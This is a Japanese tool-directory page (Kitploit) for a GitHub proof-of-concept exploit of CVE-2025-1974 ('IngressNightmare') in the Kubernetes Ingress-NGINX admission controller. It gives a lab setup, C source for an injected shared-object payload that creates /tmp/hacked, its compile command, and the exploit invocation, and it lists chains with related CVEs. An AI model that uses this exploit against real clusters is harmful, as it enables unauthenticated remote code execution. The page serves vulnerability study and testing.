Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2025-1974 — CVE-2025-1974 (IngressNightmare) の概念実証エクスプロイト。Kubernetes Ingress-NGINX Admission Controller を標的とし、悪意のある AdmissionReview リクエストを介してリモートコード実行を達成するもの。 | Kitploit
ツール/GitHubGitHub/chhhd/cve-2025-1974
コンテナセキュリティ脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテストクラウドセキュリティリモートアクセスツールペイロード開発
GitHubchhhd/cve-2025-1974

CVE-2025-1974

CVE-2025-1974 (IngressNightmare) の概念実証エクスプロイト。Kubernetes Ingress-NGINX Admission Controller を標的とし、悪意のある AdmissionReview リクエストを介してリモートコード実行を達成するもの。

リポジトリを見る
111年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

Kubernetes Ingress-NGINX 認証されていないリモートコード実行 (CVE-2025-1974)

Ingress-NGINX: NGINXをリバースプロキシおよびロードバランサーとして使用するKubernetes用のIngressコントローラー

「IngressNightmare」脆弱性 (CVE-2025-1974) は、着信するIngressリソースの有効性を検証するKubernetesの核心的なセキュリティメカニズムであるIngress-NGINX Admission Controllerの致命的な欠陥に起因する。

このコントローラーは認証なしでネットワークに露出しており、攻撃者が悪意のあるAdmissionReviewリクエストを操作し、Ingressリソースに無許可の設定を注入することを可能にする。

他の脆弱性 (CVE-2025-24514、CVE-2024-1097、CVE-2025-1098) と連携すると、リモートコード実行に至る可能性がある。

一部の悪用可能なチェーンは以下の通り。

CVE-2025-1974+CVE-2025-24514: auth-url アノテーション注入によるRCE

CVE-2025-1974+CVE-2025-1097: auth-tls-match-cn アノテーションによるRCE

CVE-2025-1974+CVE-2025-1098: イメージUID悪用によるRCE

環境設定

脆弱性をシミュレートするため、簡便性のためにK3sベースのKubernetes環境が使用される。

root@kitploit:~
docker compose up -d

Kubernetes APIが準備され、Ingress-nginxコントローラーが起動するまで待機する。 環境が起動すると、Ingress-NGINXはポート30080および30443 (TLS) で待ち受け、Ingress-NGINX Admission Controllerはポート30443で待ち受ける。

実行手順

.so まず、コンテナのアーキテクチャと一致する共有オブジェクト( )ペイロードをコンパイルする必要がある。

root@kitploit:~
#include<stdio.h>
#include<stdlib.h>

__attribute__((constructor)) static void reverse_shell(void)
{
    system("touch /tmp/hacked");
}
  1. ソースコードのコンパイル
root@kitploit:~
gcc -shared -fPIC -o shell.so shell.c
  1. 上記のソースコードを適切な環境でコンパイルした後、exploit.pyを使用して脆弱性を悪用する
root@kitploit:~
python3 poc.py -a https://localhost:30443/networking/v1/ingresses -i http://localhost:30080/fake/addr -s shell.so

AdmissionReview exploitは、NGINXに悪意のある動的共有オブジェクトを強制的にロードさせるディレクティブ注入リクエストを偽造することで動作する。

exploitが成功すると、ingress-nginxコンテナ内部にファイルがssl_engine作成されることを確認できる。

image

ツールをダウンロード